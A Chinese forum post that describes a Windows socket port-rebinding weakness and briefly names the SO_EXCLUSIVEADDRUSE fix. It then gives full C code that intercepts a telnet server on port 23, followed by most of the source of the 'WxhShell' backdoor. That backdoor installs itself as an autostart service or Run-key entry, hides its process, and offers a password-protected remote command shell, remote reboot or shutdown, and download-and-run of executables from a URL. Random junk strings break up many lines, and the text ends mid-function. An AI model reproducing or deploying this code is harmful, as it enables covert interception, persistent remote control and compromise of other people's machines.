社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11750阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _6 yrd.H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =Flr05}m  
m=]}Tn  
  saddr.sin_family = AF_INET; * @&V=l  
& )EL%o5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a+n?y)u  
[g: KFbEY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PMiG:bM  
sAP  YQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t%Y}JKLR  
.~4DlT  
  这意味着什么?意味着可以进行如下的攻击: 4rNuAK`2  
[xPO'@Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mzTM&@  
@ds.)sKA>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :?7^STc  
6^nxw>-   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4n.EA,:g:(  
Qexv_:C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |C\XU5}  
QWK\6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }h\]0'S~J~  
L$f:D2Ei  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rE.z.r"O  
cX48?srG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z`@< O%  
Pv3 e*I((  
  #include -O[9{`i]  
  #include W; ?'  
  #include y1Yrf,E m=  
  #include    Hp3T2|uL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X(K5>L>  
  int main() )<%IY&\  
  { K_BF=C.k  
  WORD wVersionRequested; {`[u XH?3d  
  DWORD ret; qg8T}y>  
  WSADATA wsaData; {+|Em(M  
  BOOL val; h)yAg e  
  SOCKADDR_IN saddr; j}$Q`7-wB1  
  SOCKADDR_IN scaddr; }Ym~[S*x  
  int err; BoPJ;6?>}  
  SOCKET s; mRY~)< !4&  
  SOCKET sc; n )>nfnh  
  int caddsize; 4>(OM|X=9  
  HANDLE mt; 5> =Ia@I   
  DWORD tid;   n0=[N'Tw3  
  wVersionRequested = MAKEWORD( 2, 2 ); >)iCKx  
  err = WSAStartup( wVersionRequested, &wsaData ); Dad*6;+N  
  if ( err != 0 ) { [moz{Y  
  printf("error!WSAStartup failed!\n"); K#'{Ko  
  return -1; 8'Bik  
  } hjY)W;  
  saddr.sin_family = AF_INET;  =u Ieur  
   FtxmCIVIV~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bA3pDt).p  
 .tRWL!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JUC62s#_z  
  saddr.sin_port = htons(23); lnRbvulH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MIWI0bnf  
  { dK?vg@|'  
  printf("error!socket failed!\n"); R9V v*F]m@  
  return -1; Ptv=Bwg  
  } 1$ ~W~O  
  val = TRUE; -<WQ>mrB&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 twJ)h :!_y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <Q? X'.  
  { iMr/i?`i  
  printf("error!setsockopt failed!\n"); j`kw2(  
  return -1; )]C7+{ImC  
  } ` SO"F,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M `bEnu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *%xmCP J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q[N6#C:(4  
a).bk!G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9hIcnPu  
  { #97w6,P+  
  ret=GetLastError(); F;^GhiQVS  
  printf("error!bind failed!\n"); .ahYj n  
  return -1; 2Aq%;=+*  
  } Gdf*x<T1  
  listen(s,2); 7'9~Kx&+  
  while(1) @I^LmB9*  
  { Ad:)5R o  
  caddsize = sizeof(scaddr); DU/WB  
  //接受连接请求 S+EC!;@Xg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J 4EG  
  if(sc!=INVALID_SOCKET) 2qD80W<1  
  { 7+vyN^XJ"5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i-4pdK u  
  if(mt==NULL) &jHnM^nQ  
  { F&om^G'U  
  printf("Thread Creat Failed!\n"); A!Ls<D.  
  break; ~L.)<{?  
  } 'rw nAr  
  } H,H=y},  
  CloseHandle(mt); wLf=a^c#  
  } _n;V iQMu  
  closesocket(s); 3G7Qo  
  WSACleanup(); jI(}CT`g  
  return 0; y84= Q  
  }   JtrLTo  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,U#$Qb 12  
  { 3,cZ*4('d  
  SOCKET ss = (SOCKET)lpParam; T>ds<MaLP  
  SOCKET sc; >1=sw qa  
  unsigned char buf[4096]; F(i@Gm=J]  
  SOCKADDR_IN saddr; Htf|VpzMb  
  long num; j7|r^  
  DWORD val; ;nbUbRb  
  DWORD ret; P]4C/UDS-~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BtN@P23>k.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /M;A)z  
  saddr.sin_family = AF_INET; MR@*09zP(?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tNI~<#+lg  
  saddr.sin_port = htons(23); p Rn vd|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pZ,P_?  
  { *hp3w  
  printf("error!socket failed!\n"); W:^\Oe5&a  
  return -1; %usy`4 2  
  } a0oM KGW:  
  val = 100; 'K=n}}&:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \)?[1b&[_  
  { TrHz(no  
  ret = GetLastError(); H *gF>1  
  return -1; G#&R/Tc5N  
  } G:e 9}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %hzl3>().  
  { gZ*8F|sg  
  ret = GetLastError(); Jm|eZDp  
  return -1; Ub8|x]ix  
  } {VPF2JFB[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gmi w(T  
  { -$#'  
  printf("error!socket connect failed!\n"); 9:!<=rk  
  closesocket(sc); P7;=rSW  
  closesocket(ss); (dxkDS-G  
  return -1; (q!tI* }  
  } |7V:~MTkk&  
  while(1) bojx:g  
  { &xlz80%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *OT6)]|k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YH( 54R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z (,%<oX  
  num = recv(ss,buf,4096,0); piE9qXn  
  if(num>0) I |?zSFa  
  send(sc,buf,num,0); X#$mBRK7  
  else if(num==0) ,nJYYM   
  break; !biq7f%6#  
  num = recv(sc,buf,4096,0); <j93   
  if(num>0) uX-]z3+  
  send(ss,buf,num,0); ON{&-  
  else if(num==0) ceDe!Iu  
  break; H=OKm  
  }  xA DjQ%B  
  closesocket(ss); y5L%_ {n  
  closesocket(sc); ?3wEO>u  
  return 0 ; URq{#,~CT  
  } HY.?? 5MH  
`b^eRnpR  
OchIEF "N  
========================================================== 72qbxPY13h  
D=U"L-rRs  
下边附上一个代码,,WXhSHELL t0*JinK I  
yp=(wcJ  
========================================================== ]g jhrD   
)vB,eZq  
#include "stdafx.h" }| BnG"8  
xeqAFq=9?  
#include <stdio.h> ^[{\ZX  
#include <string.h> m"P"iK/Av(  
#include <windows.h> 5Uc!;Gd?b  
#include <winsock2.h> rULrGoM  
#include <winsvc.h> kDM\IyM<\  
#include <urlmon.h> Tti]H9g_  
N'nI ^=  
#pragma comment (lib, "Ws2_32.lib") ] Ma2*E !p  
#pragma comment (lib, "urlmon.lib") gw0b>E8gZ&  
zT[[WY4  
#define MAX_USER   100 // 最大客户端连接数 ] 8sVXZ  
#define BUF_SOCK   200 // sock buffer Ij_Y+Mnl4:  
#define KEY_BUFF   255 // 输入 buffer Suixk'-  
k\UDZ)TQV  
#define REBOOT     0   // 重启 sGjYL>*  
#define SHUTDOWN   1   // 关机 +@wa?"  
H@$\SUc{  
#define DEF_PORT   5000 // 监听端口 a)'^'jm)4  
v%|^\A"V  
#define REG_LEN     16   // 注册表键长度 Z }(,OZh  
#define SVC_LEN     80   // NT服务名长度 Z!Njfq5  
-AUdBG  
// 从dll定义API {O-,JCq/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aZGX`;3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w,(e,8#:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zfDx c3e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J>(I"K%  
<S'5`-&  
// wxhshell配置信息 EGYYSoBLU  
struct WSCFG { {FO>^~>l  
  int ws_port;         // 监听端口 6$TE-l  
  char ws_passstr[REG_LEN]; // 口令 KUG\C\z6=  
  int ws_autoins;       // 安装标记, 1=yes 0=no  l`x;Og>a  
  char ws_regname[REG_LEN]; // 注册表键名 nmlQ-V-  
  char ws_svcname[REG_LEN]; // 服务名 : [o0Va2 d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k23*F0Dv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vk/CV2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tSK{Abw1B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .!T]sX_P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R9X* R3nB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,&S:(b[D  
&D, gKT~  
}; (,~gY=E+  
N5u.V\F!z\  
// default Wxhshell configuration l?:!G7ie  
struct WSCFG wscfg={DEF_PORT, #wH<W5gSZ  
    "xuhuanlingzhe", KlbL<9P >  
    1, h$)},% e  
    "Wxhshell", deR2l(0%yr  
    "Wxhshell", 7(<6+q2~  
            "WxhShell Service", -`FPR4;  
    "Wrsky Windows CmdShell Service", G<9UL*HU  
    "Please Input Your Password: ", 8YJ8_$Z  
  1, qP<wf=wY  
  "http://www.wrsky.com/wxhshell.exe", y#HDJ=2  
  "Wxhshell.exe" \^9SuZ  
    }; uop|8n1  
f5jxF"oGNo  
// 消息定义模块 Q70LQCms  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b&s"/Y89  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vt-D8J\A 0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "' g*_  
char *msg_ws_ext="\n\rExit."; E"7 iU  
char *msg_ws_end="\n\rQuit."; 5tMp@$F\{[  
char *msg_ws_boot="\n\rReboot..."; vy?Zz<c;  
char *msg_ws_poff="\n\rShutdown..."; vzVXRX  
char *msg_ws_down="\n\rSave to "; zj.;O#hW  
oTj9/r  
char *msg_ws_err="\n\rErr!"; AyZL(  
char *msg_ws_ok="\n\rOK!"; P#5&D*`}h  
swv 1>52{  
char ExeFile[MAX_PATH]; GaMiu! |,  
int nUser = 0; |IL..C  
HANDLE handles[MAX_USER]; MY1 1 5%  
int OsIsNt; t(FI Bf3  
0q`n]NM  
SERVICE_STATUS       serviceStatus; .du FMJl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5}FPqyK"  
X_Vj&{  
// 函数声明 W%@L7xh  
int Install(void); $OK}jSH*v)  
int Uninstall(void); %lsk> V  
int DownloadFile(char *sURL, SOCKET wsh); ;`IZ&m$  
int Boot(int flag); c` ^I% i  
void HideProc(void); I_s4Pf[l  
int GetOsVer(void); x}I'W?g  
int Wxhshell(SOCKET wsl); .c~`{j}  
void TalkWithClient(void *cs); SS;[{u!  
int CmdShell(SOCKET sock); {VqcZhqy/l  
int StartFromService(void); dLQV>oF  
int StartWxhshell(LPSTR lpCmdLine); L1;IXCc=  
:=u Ku'~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c}K>#{YeB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A<esMDX  
FV|/o%XqK  
// 数据结构和表定义 |V#h "s  
SERVICE_TABLE_ENTRY DispatchTable[] = Yhu 6QyRV  
{ ^W-03  
{wscfg.ws_svcname, NTServiceMain}, ,Q~C F;qe  
{NULL, NULL} h^#K4/  
}; yZJR7+  
wmh[yYWc  
// 自我安装 tkr RdCq  
int Install(void) '(M8D5?N-  
{ / 0Z_$Q&e  
  char svExeFile[MAX_PATH]; |Rk$u  
  HKEY key; 5nL,sFd  
  strcpy(svExeFile,ExeFile); l!z0lh- J  
X2PQL"`  
// 如果是win9x系统,修改注册表设为自启动 zRDBl02v$T  
if(!OsIsNt) { o)<c1\q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _+ z5~6>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =bm<>h7.)  
  RegCloseKey(key); z>HeM Mei  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N- E)b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S7SD$+fX  
  RegCloseKey(key); $agd9z,&m  
  return 0; T^9k,J(rM  
    } @ m14x}H  
  } ki`7S  
} 8':^tMd  
else { M5DW!^  
F6 ?4E"d  
// 如果是NT以上系统,安装为系统服务 ,#Y>nP0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5N=QS1<$5  
if (schSCManager!=0) ?ysC7 ((  
{ mup<%@7m  
  SC_HANDLE schService = CreateService NIn#  
  ( =#qf0  
  schSCManager, Vm NCknG  
  wscfg.ws_svcname, {%!.aQ,  
  wscfg.ws_svcdisp, ;  ntq%  
  SERVICE_ALL_ACCESS, "_Wv,CYmNr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  =lIG#{`Q  
  SERVICE_AUTO_START, r@;n \  
  SERVICE_ERROR_NORMAL, @ %LrpD  
  svExeFile, 0_7A <   
  NULL, G?\\k[#,&  
  NULL, u*/.   
  NULL, B16,c9[  
  NULL, 5[\mwUA  
  NULL 6`$HBX%.K  
  ); C^>txui8  
  if (schService!=0) f"emH  
  { ~5e)h_y  
  CloseServiceHandle(schService); >q{E9.~b  
  CloseServiceHandle(schSCManager); ~4YU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  f,utA3[  
  strcat(svExeFile,wscfg.ws_svcname); *^]Hqf(`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <4!SQgL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z/nTI 0N{  
  RegCloseKey(key); fz H$`X'M  
  return 0; S+LE ASOr  
    } 1^<R2x  
  } We]mm3M3  
  CloseServiceHandle(schSCManager); 9z)p*+r UK  
} R{zAs?j  
} ,[6N64fy  
no_(J>p^&  
return 1; |FK ##8  
} u;$g1 3  
nZ>8r  
// 自我卸载 dD _(MbTt  
int Uninstall(void) .6I*=qv)NA  
{ L[4Su;D  
  HKEY key; 'xO5Le(=M  
>U/ m/H'  
if(!OsIsNt) { u_+64c_7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FM\yf ]'  
  RegDeleteValue(key,wscfg.ws_regname); Qs(WyP#  
  RegCloseKey(key); gWcl@|I;\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yEm[C(gZ  
  RegDeleteValue(key,wscfg.ws_regname); qi!Nv$e  
  RegCloseKey(key);  [o]^\a y  
  return 0; mx`C6G5  
  } 4c"x&x|  
} +r0ItqkM  
} Z]H`s{3  
else { (7 i@ @  
,'~8{,h5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }%z {tn  
if (schSCManager!=0) px!lJtvgo  
{ 9|19ia@[\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8*O]  
  if (schService!=0) 9H$$Og  
  { >0yx!Iao  
  if(DeleteService(schService)!=0) { YcJZG|[  
  CloseServiceHandle(schService); CF|c4oY82  
  CloseServiceHandle(schSCManager); 4{!7T  
  return 0; .GG6wL<$?  
  } )m . KV5K!  
  CloseServiceHandle(schService); Rlvb@aXgy  
  } g8<Ja(J  
  CloseServiceHandle(schSCManager); /:-8 ,`  
} &%."$rC/0b  
} {%Mt-Gm'd  
d51.Tbt#%7  
return 1; 6$#p}nE  
} UA@(D  
3<:(Eda}  
// 从指定url下载文件 wvH=4TT=w"  
int DownloadFile(char *sURL, SOCKET wsh) nt$V H  
{ m0I/X$-Cl5  
  HRESULT hr; k@HV wK'y  
char seps[]= "/"; O5^!\j.WR  
char *token; y#%*aV}|B  
char *file; ?f{{{0$S  
char myURL[MAX_PATH]; u,]?_bK)  
char myFILE[MAX_PATH]; &DnX6%2  
RLuA^ONI  
strcpy(myURL,sURL); X%ii z  
  token=strtok(myURL,seps); Oj6PmUK4  
  while(token!=NULL) n)]]g3y2  
  { <PCa37  
    file=token; #SNwSx&  
  token=strtok(NULL,seps); oqu; D'8  
  } )n8(U%q$  
]xhZJ~"@u  
GetCurrentDirectory(MAX_PATH,myFILE); !JZ)6mtlr  
strcat(myFILE, "\\"); y7)s0g>%H  
strcat(myFILE, file); (8bo"{zI  
  send(wsh,myFILE,strlen(myFILE),0); i vy+e-)  
send(wsh,"...",3,0); s zgq7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s d -5AE  
  if(hr==S_OK) ["N{6d&Q  
return 0; K5; /  
else {(o$? =  
return 1; >lZ9Y{Y4v  
xWNB/{F  
} \>}G|yL  
TL%2?'G  
// 系统电源模块 Bismd21F6=  
int Boot(int flag) e;QPn(  
{ {<\[gm\X  
  HANDLE hToken; 5v&mK 5zZ  
  TOKEN_PRIVILEGES tkp; lPA:aHcj  
>]DnEF&  
  if(OsIsNt) { @.JhL[f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q};g~b3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u;{,,ct  
    tkp.PrivilegeCount = 1; .<GU2&;!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xx^7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XJ\ j0  
if(flag==REBOOT) { p-p]dV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K x7'm1  
  return 0; \\\%pBT7]\  
} $JH_  
else { #0yU K5J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }E?{M~"<  
  return 0; K,pQ11J  
} y'gIx*6B@  
  } xMck A<E  
  else { 9rO,h|L   
if(flag==REBOOT) { DB1F _!9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D;~c`G "f  
  return 0; 4d\1W?i-  
} :%&~/@B  
else { u ##.t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [QC|Kd^#  
  return 0; %XIPPEHU  
} ;QVX'?  
} i,77F!  
^ +e5 M1U=  
return 1; ~,199K#'  
} U _QCe+  
{+n0t1  
// win9x进程隐藏模块 l!6^xMhYk  
void HideProc(void) uif1)y`Q$C  
{ z%$,F9/  
&f2'cR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z?IwR  
  if ( hKernel != NULL ) GqYE=Q  
  { l]pHj4`uv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _z`g@[m:t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J Iw=Bs  
    FreeLibrary(hKernel); ,U-aZ  
  } Q/JX8<7K  
-UJ; =/  
return; pA ,xDs@37  
} VR/*h%  
6jdNQC$#B  
// 获取操作系统版本 =Zg%& J  
int GetOsVer(void) :E$<!q  
{ %TOYU (k  
  OSVERSIONINFO winfo; $-tgd<2h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y'5 y  
  GetVersionEx(&winfo); 'a}<|Et.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 82mKI+9&"  
  return 1; U{^~X_?  
  else Iuh1tcc  
  return 0; _trF/U<  
} X>0$zE@0  
yXuc< m  
// 客户端句柄模块 B~[}E]WEK  
int Wxhshell(SOCKET wsl) ;rD M%S@  
{ Stw%OP@?  
  SOCKET wsh; 0N" VOEvG  
  struct sockaddr_in client; DH3.4EUWS  
  DWORD myID; QX1rnVzg0  
Xup"gYTZQ  
  while(nUser<MAX_USER) "r:i  
{ D^R=  
  int nSize=sizeof(client); G-5 4D_ 4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f{m,?[1C,  
  if(wsh==INVALID_SOCKET) return 1; YPq4VX,  
HAkEJgV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); STp}?Cb  
if(handles[nUser]==0) 5H#3PZaQ  
  closesocket(wsh); 7>EjP&l  
else  m?hC!n>  
  nUser++; =)C}u6  
  } >S5:zz\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,L&Ka|N0  
)+[IR  
  return 0; !8]W"@qb  
} GYot5iLg  
%&9tn0B  
// 关闭 socket v4sc  
void CloseIt(SOCKET wsh) 9="i'nYp  
{ a3]'%kKp  
closesocket(wsh); 9PEjV$0E2  
nUser--; M:h~;+s  
ExitThread(0); [Dp6q~RM  
} 6Gjr8  
pDD0 QO  
// 客户端请求句柄 [vpZ3;  
void TalkWithClient(void *cs) @AL,@P/9=  
{ li\hHd5  
& v=2u,]T  
  SOCKET wsh=(SOCKET)cs; o Wg5-pMWZ  
  char pwd[SVC_LEN]; zEJ|;oL  
  char cmd[KEY_BUFF]; r'fNQJ >  
char chr[1]; N4"%!.Y  
int i,j; !8ub3oj)  
=!r9;L,?  
  while (nUser < MAX_USER) { $@q)IK%FDL  
4O[T:9mn0  
if(wscfg.ws_passstr) { &O(z|-&| x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b #|M-DmT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |SXMd'<3`Z  
  //ZeroMemory(pwd,KEY_BUFF); CDei+ q  
      i=0; iUqL /  
  while(i<SVC_LEN) { >:5/V0;,  
!<}<HR^ )  
  // 设置超时 N. 3 x[%:  
  fd_set FdRead; z (rQ6  
  struct timeval TimeOut; YD$fN"}-  
  FD_ZERO(&FdRead); ;7&RmIXKh'  
  FD_SET(wsh,&FdRead); ~^=QBwDW8N  
  TimeOut.tv_sec=8; 4`)B@<  
  TimeOut.tv_usec=0; t)XNS!6#]?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?f[#O&#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0*W=u-|s6  
%WHue  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R@t?!`f!+  
  pwd=chr[0]; UO8#8  
  if(chr[0]==0xd || chr[0]==0xa) { Z2`(UbG}  
  pwd=0; o <8L, u(U  
  break; $zq`hI!1  
  } 9)s=%dL  
  i++; MsCY5g  
    } IX;u+B  
z^S=ji U++  
  // 如果是非法用户,关闭 socket ;id0|x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K=VYR Y  
} VWd=7  
r8+{HknB;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~j",ePl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LnvC{#TFO  
s$J0^8Q~i  
while(1) { JC}y{R8  
jR\&2;T  
  ZeroMemory(cmd,KEY_BUFF); OOs Y{8xM  
$d%m%SZxv  
      // 自动支持客户端 telnet标准   &H;0N"Fn  
  j=0; G$:T!  
  while(j<KEY_BUFF) { ` :Am#"j]}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "CBe$b4  
  cmd[j]=chr[0]; Z.<OtsQN  
  if(chr[0]==0xa || chr[0]==0xd) { t.c XrX`k  
  cmd[j]=0; zS18Kl  
  break; j*<H18^G  
  } XKLkJZN  
  j++; u!?.vx<qy  
    } 5E?{>1  
GUE 3|  
  // 下载文件 ^KhA\MzY  
  if(strstr(cmd,"http://")) { wz31e!/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6",1JH,;p  
  if(DownloadFile(cmd,wsh)) <i`Ipj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =l&7~  
  else y} AkF2:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mu04TPj  
  } 7qq}wR]]  
  else { 0RN]_z$;H  
z%(m:/N70  
    switch(cmd[0]) { 1XU sr;Wz  
  0sto9n3  
  // 帮助 _a"5[sG  
  case '?': { :84fd\It4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f"q='B9_T\  
    break; Wd?(B4{  
  } ?kX$Y{M}  
  // 安装 4a00-y='  
  case 'i': { i5w  
    if(Install()) XLz>h(w=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ihBlP\C  
    else i&$L$zf,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Zm!T4pL  
    break; )8p FPr  
    } fB|rW~!v  
  // 卸载 cU?A|'  
  case 'r': { r ,D T>  
    if(Uninstall()) 2G<\Wz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =o;8xKj  
    else &]3_ .C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7'z{FS S  
    break; w`&~m:R  
    } d4t %/Uh  
  // 显示 wxhshell 所在路径 f1y3l1/  
  case 'p': { f/&gR5  
    char svExeFile[MAX_PATH]; vzM8U>M  
    strcpy(svExeFile,"\n\r"); Z0s}65BR  
      strcat(svExeFile,ExeFile); YvL5>;  
        send(wsh,svExeFile,strlen(svExeFile),0); >VM@9Cph  
    break; "VR>nyG%  
    } .z4 fJx  
  // 重启 =<MSM\Rb  
  case 'b': { n|sP0,$N1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EE(1;] d-  
    if(Boot(REBOOT)) #S)+eH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H WOs   
    else { DKnjmZ:J|  
    closesocket(wsh); _TY9!:&}q  
    ExitThread(0); A^nB!veh  
    } SB0Cq  
